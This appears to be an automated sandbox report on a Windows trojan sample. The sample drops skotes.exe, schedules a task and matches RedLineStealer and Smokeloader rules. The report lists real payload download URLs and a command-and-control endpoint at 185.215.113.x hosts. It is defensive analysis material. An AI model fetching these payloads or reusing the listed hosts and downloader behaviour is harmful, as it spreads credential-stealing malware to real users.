Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:64682 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:64695 -> 185.215.113.103:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.103

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

Code function: 0_2_0040AA09 SetCurrentDirectoryA,GetUserNameA,CoInitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,GetLocalTime,CoUninitialize,CoInitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,CreateFileA,InternetOpenA,InternetOpenUrlA,InternetReadFile,WriteFile,WriteFile,InternetReadFile,CloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,RemoveDirectoryA,

0_2_0040AA09

Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103If-Modified-Since: Wed, 25 Sep 2024 08:32:53 GMTIf-None-Match: "66000-622ed77d44b57"
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.103Cache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: skotes.exe, 0000001C.00000002.4669012464.0000000000743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/steam/random.exe
Source: skotes.exe, 0000001C.00000002.4669012464.0000000000743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/steam/random.exe;
Source: skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.4669012464.0000000000743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0
Source: skotes.exe, 0000001C.00000002.4669668588.00000000008C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php6
Source: skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpb
Source: skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpn
Source: skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 0000001C.00000002.4669012464.000000000075E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpx
Source: skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpxe
Source: skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpxe9/:x
Source: skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=
Source: skotes.exe, 0000001C.00000002.4669012464.0000000000771000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/fac00b58981f4a4e1a0ce7e9f0e5ebf5de04349025080d9#
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net

System Summary

Malicious sample detected (through community Yara rule)

Source: 0000001C.00000002.4668968733.00000000006D0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2353337149.000000000052C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000015.00000002.2334468394.00000000006ED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000001C.00000002.4668844085.0000000000620000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0041CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,		0_2_0041CB97
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0041CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,		28_2_0041CB97

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_00409A00	0_2_00409A00
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0040AA09	0_2_0040AA09
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_00447049	0_2_00447049
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_00426192	0_2_00426192
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_004431A8	0_2_004431A8
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_00421602	0_2_00421602
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_0044779B	0_2_0044779B
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_00448860	0_2_00448860
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_004478BB	0_2_004478BB
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_00404B30	0_2_00404B30
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_00442D10	0_2_00442D10
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_00404DE0	0_2_00404DE0
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_00423DF1	0_2_00423DF1
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_00420E13	0_2_00420E13
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_00437F36	0_2_00437F36
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_021C72B0	0_2_021C72B0
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_021A63F9	0_2_021A63F9
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_021A4058	0_2_021A4058
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_02185047	0_2_02185047
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_021A107A	0_2_021A107A
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_021B819D	0_2_021B819D
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_021C7A02	0_2_021C7A02
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_021C8AC7	0_2_021C8AC7
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_021C7B22	0_2_021C7B22
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_021A1869	0_2_021A1869
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_021C2F77	0_2_021C2F77
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: 0_2_02184D97	0_2_02184D97
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_021B72B0	21_2_021B72B0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_021963F9	21_2_021963F9
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_02194058	21_2_02194058
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_02175047	21_2_02175047
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0219107A	21_2_0219107A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_021A819D	21_2_021A819D
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_021B7A02	21_2_021B7A02
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_021B8AC7	21_2_021B8AC7
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_021B7B22	21_2_021B7B22
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_02191869	21_2_02191869
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_021B2F77	21_2_021B2F77
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_02174D97	21_2_02174D97
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0040E530	28_2_0040E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00426192	28_2_00426192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00448860	28_2_00448860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00404B30	28_2_00404B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00442D10	28_2_00442D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00404DE0	28_2_00404DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00420E13	28_2_00420E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00447049	28_2_00447049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_004431A8	28_2_004431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00421602	28_2_00421602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0044779B	28_2_0044779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_004478BB	28_2_004478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00423DF1	28_2_00423DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00437F36	28_2_00437F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00644058	28_2_00644058
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0065819D	28_2_0065819D
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_006463F9	28_2_006463F9
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00668AC7	28_2_00668AC7
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00624D97	28_2_00624D97
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00662F77	28_2_00662F77
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0064107A	28_2_0064107A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00625047	28_2_00625047
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_006672B0	28_2_006672B0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00641869	28_2_00641869
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00667A02	28_2_00667A02
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00667B22	28_2_00667B22

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0041DF80 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0063E1E7 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0218DBA9 appears 68 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 02188327 appears 135 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0041D663 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0041D64E appears 52 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00417A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00638327 appears 137 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0063DBA9 appears 68 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0041D942 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0218E1E7 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0063D8B5 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 004180C0 appears 133 times
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: String function: 0041DF80 appears 43 times
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: String function: 0219E1E7 appears 38 times
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: String function: 02198327 appears 135 times
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: String function: 0041D942 appears 80 times
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: String function: 004180C0 appears 131 times
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Code function: String function: 0219DBA9 appears 68 times

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 720

Source: yjzllYsjlU.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0000001C.00000002.4668968733.00000000006D0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2353337149.000000000052C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000015.00000002.2334468394.00000000006ED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000001C.00000002.4668844085.0000000000620000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: yjzllYsjlU.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: skotes.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@19/67@0/2

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

Code function: 0_2_0052D356 CreateToolhelp32Snapshot,Module32First,

0_2_0052D356

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

0_2_0040AA09

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6716
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1488
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6008

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: yjzllYsjlU.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: yjzllYsjlU.exe

ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\yjzllYsjlU.exe

File read: C:\Users\user\Desktop\yjzllYsjlU.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\yjzllYsjlU.exe "C:\Users\user\Desktop\yjzllYsjlU.exe"
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 720
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 788
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 852
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 896
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 920
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 852
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 1044
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 1120
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 1176
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 1400
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6008 -s 468
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1488 -s 536
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1488 -s 756
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\yjzllYsjlU.exe	Section loaded: coreuicomponents.dll	Jump to behavior
